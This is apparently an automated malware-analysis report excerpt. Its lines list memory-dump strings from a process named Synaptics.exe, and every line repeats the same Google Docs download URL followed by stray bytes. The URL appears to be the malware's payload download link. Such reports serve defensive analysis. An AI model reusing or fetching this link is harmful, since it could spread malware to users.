Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download(X
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download)p
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-$
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-C
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-U
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-V
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-b
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-f
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-t
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-wow6YWB
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download-~
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download..
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download...
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.O
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c#
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.c(g
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cS
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.cn
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.e
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.g
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goog
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.n
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.user
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/.O
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/_
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/imag
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/z
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2346850361.000000001D9E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0(v-
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download02
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0:3
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0BxsM5
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1W
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1s
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1z
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2349487470.000000001DAED000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download20I
Source: Synaptics.exe, 00000004.00000002.2302077647.00000000071F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download250106V
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2DH
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2pK
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2t
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3L
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4%
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download44
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4M
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5Z
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5xK
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6~O
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7EM
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7ZI
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2321971186.000000000EEDD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356043485.000000001DDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8.x
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download92845
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download95
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9FO
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9rN
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:G
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:sC
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;O
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007319000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=0
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?DE
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?pD
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?t
